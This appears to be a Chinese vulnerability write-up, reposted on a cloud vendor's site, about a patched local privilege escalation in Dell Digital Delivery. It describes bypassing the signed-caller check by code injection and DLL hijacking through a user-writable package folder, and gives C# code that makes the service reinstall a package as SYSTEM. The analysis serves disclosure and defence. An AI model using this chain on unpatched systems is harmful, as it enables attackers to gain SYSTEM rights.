溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

怎么實(shí)現(xiàn)Dell Digital Delivery本地提權(quán)分析

發(fā)布時(shí)間:2021-12-22 20:51:08 來源:億速云 閱讀:190 作者:柒染 欄目:網(wǎng)絡(luò)安全

本篇文章給大家分享的是有關(guān)怎么實(shí)現(xiàn)Dell Digital Delivery本地提權(quán)分析,小編覺得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

下面就講講戴爾數(shù)字傳送(以下簡稱為DDD,Dell Digital Delivery)里的這個(gè)漏洞是怎么被利用的。至今還沒有人利用這個(gè)漏洞造成危害。戴爾已經(jīng)針對(duì)這個(gè)漏洞發(fā)布了安全報(bào)告。

SupportAssist和DDD很復(fù)雜,所以漏洞也會(huì)很多。如果你對(duì)挖掘大型的C#/C++應(yīng)用里的本地提權(quán)漏洞感興趣,可以試試這兩個(gè)程序。

Dell’s Digital Delivery是用來安裝軟件的。它可以讓用戶購買、管理軟件,并且DDD預(yù)裝在大部分的戴爾電腦上。

Bug

DDD以SYSTEM權(quán)限運(yùn)行,服務(wù)名是DeliveryService, 程序名是DeliveryService.exe。DeliveryTray.exe是用戶層面的組件,讓用戶可以對(duì)軟件進(jìn)行管理、安裝。

DeliveryTray和DeliveryService之間的通信是通過一個(gè)Windows Communication Foundation (WCF)命名管道進(jìn)行的。WCF 是兩個(gè)進(jìn)程交換數(shù)據(jù)的標(biāo)準(zhǔn)方法。像web服務(wù)器的REST API一樣,WCF允許服務(wù)注冊(cè)為處理端并說明主要功能。

Dell.ClientFulfillmentService.Controller.Initialize中對(duì)WCF命名管道的初始化如下所示:


this._host = WcfServiceUtil.StandupServiceHost(typeof(UiWcfSession),

                               typeof(IClientFulfillmentPipeService),

                               "DDDService");

初始化過程調(diào)用了 Dell.NamedPipe.StandupServiceHost:


ServiceHost host = null;

string apiUrl = "net.pipe://localhost/DDDService/IClientFulfillmentPipeService";

Uri realUri = new Uri("net.pipe://localhost/" + Guid.NewGuid().ToString());

Tryblock.Run(delegate

{

 host = new ServiceHost(classType, new Uri[]

 {

   realUri

 });

 host.AddServiceEndpoint(interfaceType, WcfServiceUtil.CreateDefaultBinding(), string.Empty);

 host.Open();

}, null, null);

AuthenticationManager.Singleton.RegisterEndpoint(apiUrl, realUri.AbsoluteUri);

由apiUrl注冊(cè)的服務(wù)開始偵聽,AuthenticationManager的singleton負(fù)責(zé)處理請(qǐng)求。一有請(qǐng)求,AuthenticationManager就將其傳給AuthPipeWorker函數(shù)執(zhí)行以下身份驗(yàn)證:


string execuableByProcessId = AuthenticationManager.GetExecuableByProcessId(processId);

bool flag2 = !FileUtils.IsSignedByDell(execuableByProcessId);

if (!flag2)

{

   ...

僅當(dāng)另一端是由戴爾簽名的二進(jìn)制文件時(shí),請(qǐng)求才會(huì)建立連接。

這是在3.1 (我最初測(cè)試時(shí)候的版本) 和3.5 (現(xiàn)在的最新版, 3.5.1001.0)版本之間加進(jìn)來的新防護(hù)措施,戴爾可能意識(shí)到了這里有漏洞點(diǎn)。但這防護(hù)還遠(yuǎn)遠(yuǎn)不夠。我可以通過生成一個(gè)由戴爾簽名的二進(jìn)制文件(例如DeliveryTray.exe)并在其中注入代碼來繞過這個(gè)防護(hù)措施。注入代碼后,可以訪問特權(quán)服務(wù)的WCF API。

端點(diǎn)服務(wù)由Dell.NamedPipe實(shí)現(xiàn),有十幾個(gè)函數(shù)。如下所示:


ArchiveAndResetSettings

EnableEntitlements

EnableEntitlementsAsync

GetAppSetting

PingTrayApp

PollEntitlementService

RebootMachine

ReInstallEntitlement

ResumeAllOperations

SetAppSetting

SetAppState

SetEntitlementList

SetUserDownloadChoice

SetWallpaper

ShowBalloonTip

ShutDownApp

UpdateEntitlementUiState

DDD將應(yīng)用程序安裝包稱為“entitlements”(可以在以上所列函數(shù)中找到對(duì)應(yīng)項(xiàng)),安裝/重裝自然就是指那些可以被安裝以及已經(jīng)安裝好的軟件包。

我第一個(gè)研究的函數(shù)是 ReInstallEntitlement,顧名思義,它會(huì)啟動(dòng)一個(gè)已安裝程序包的重裝進(jìn)程。代碼實(shí)現(xiàn)如下所示:


private static void ReInstallEntitlementThreadStart(object reInstallArgs)

{

   PipeServiceClient.ReInstallArgs ra = (PipeServiceClient.ReInstallArgs)reInstallArgs;

   PipeServiceClient.TryWcfCall(delegate

   {

       PipeServiceClient._commChannel.ReInstall(ra.EntitlementId, ra.RunAsUser);

   }, string.Concat(new object[]

   {

       "ReInstall ",

       ra.EntitlementId,

       " ",

       ra.RunAsUser.ToString()

   }));

}

這個(gè)函數(shù)通過一個(gè)WCF調(diào)用將根據(jù)請(qǐng)求構(gòu)建好的參數(shù)送到WCF端點(diǎn)。 ReInstallEntitlement有兩個(gè)參數(shù): 一個(gè)軟件包ID和一個(gè)RunAsUser標(biāo)志(如上所示),都由調(diào)用者控制。

在服務(wù)端 Dell.ClientFulfillmentService.Controller 管理這些函數(shù)的具體實(shí)現(xiàn), OnReInstall 處理重裝進(jìn)程,它先執(zhí)行一些完整性檢查、驗(yàn)證包簽名,然后讓 InstallationManager 將重裝請(qǐng)求壓入任務(wù)隊(duì)列。 InstallationManager 有一個(gè)任務(wù)隊(duì)列以及檢查新任務(wù)的后臺(tái)線程( WorkingThread) ,當(dāng)收到新的安裝請(qǐng)求時(shí)就會(huì)調(diào)用 InstallSoftware

軟件包將緩存到磁盤并等待重新安裝。安裝步驟就不多說了。

將放在 C:\ProgramData\Dell\DigitalDelivery\Downloads\Software\ 的安裝包先解壓然后安裝。比如我們安裝 DellDataProtection-SecurityToolsv1.9.1,你就會(huì)在任務(wù)管理器里看到一個(gè)安裝進(jìn)程:


"C:\ProgramData\Dell\Digital Delivery\Downloads\Software\Dell Data Protection _

Security Tools v1.9.1\STSetup.exe" -y -gm2 /S /z"\"CIRRUS_INSTALL,

SUPPRESSREBOOT=1\""

此進(jìn)程的運(yùn)行用戶由可控制的RunAsUser標(biāo)志確定,如果設(shè)置為False,則使用 SYSTEM權(quán)限從 %ProgramData% 目錄中運(yùn)行。

STSetup 進(jìn)程的啟動(dòng)階段,任務(wù)管理器中有如下進(jìn)程:


C:\ProgramData\Dell\Digital Delivery\Downloads\Software\Dell Data Protection _ Security Tools v1.9.1\VERSION.dll

C:\ProgramData\Dell\Digital Delivery\Downloads\Software\Dell Data Protection _ Security Tools v1.9.1\UxTheme.dll

C:\ProgramData\Dell\Digital Delivery\Downloads\Software\Dell Data Protection _ Security Tools v1.9.1\PROPSYS.dll

C:\ProgramData\Dell\Digital Delivery\Downloads\Software\Dell Data Protection _ Security Tools v1.9.1\apphelp.dll

C:\ProgramData\Dell\Digital Delivery\Downloads\Software\Dell Data Protection _ Security Tools v1.9.1\Secur32.dll

C:\ProgramData\Dell\Digital Delivery\Downloads\Software\Dell Data Protection _ Security Tools v1.9.1\api-ms-win-downlevel-advapi32-l2-1-0.dll

這里有意思的是,系統(tǒng)中的用戶對(duì)父目錄 %ProgramData%\Dell\DigitalDelivery\Downloads\Software都沒有寫入權(quán)限,但對(duì)安裝包文件夾 DellDataProtection-SecurityTools 有寫入權(quán)限。

這讓非特權(quán)用戶可以將任意文件放入這個(gè)目錄,給了我們使用DLL注入的機(jī)會(huì)。

漏洞利用

漏洞利用有以下步驟:

將DLL放在適當(dāng)?shù)?nbsp;%ProgramData% 軟件包目錄下

啟動(dòng)運(yùn)行由Dell簽名的可執(zhí)行文件的新進(jìn)程

將C#代碼注入這個(gè)進(jìn)程(運(yùn)行在無特權(quán)的用戶空間中)

從被注入的進(jìn)程中連接到WCF命名管道

觸發(fā)ReInstallEntitlement

步驟4、5可以用下面的C#代碼完成:


PipeServiceClient client = new PipeServiceClient();

client.Initialize();



while (PipeServiceClient.AppState == AppState.Initializing)

 System.Threading.Thread.Sleep(1000);



EntitlementUiWrapper entitle = PipeServiceClient.EntitlementList[0];

PipeServiceClient.ReInstallEntitlement(entitle.ID, false);

System.Threading.Thread.Sleep(30000);



PipeServiceClient.CloseConnection();

上面用到的類是從 NamedPipe.dll導(dǎo)入的。我這里僅僅選擇了第一個(gè)可選的軟件包然后重裝,你可能需要遍歷軟件包來確定哪個(gè)軟件包的重裝進(jìn)程會(huì)用到你注入的代碼。

我在Github上放出了PoC, 戴爾也已經(jīng)放出了相應(yīng)的安全報(bào)告。

以上就是怎么實(shí)現(xiàn)Dell Digital Delivery本地提權(quán)分析,小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見到或用到的。希望你能通過這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI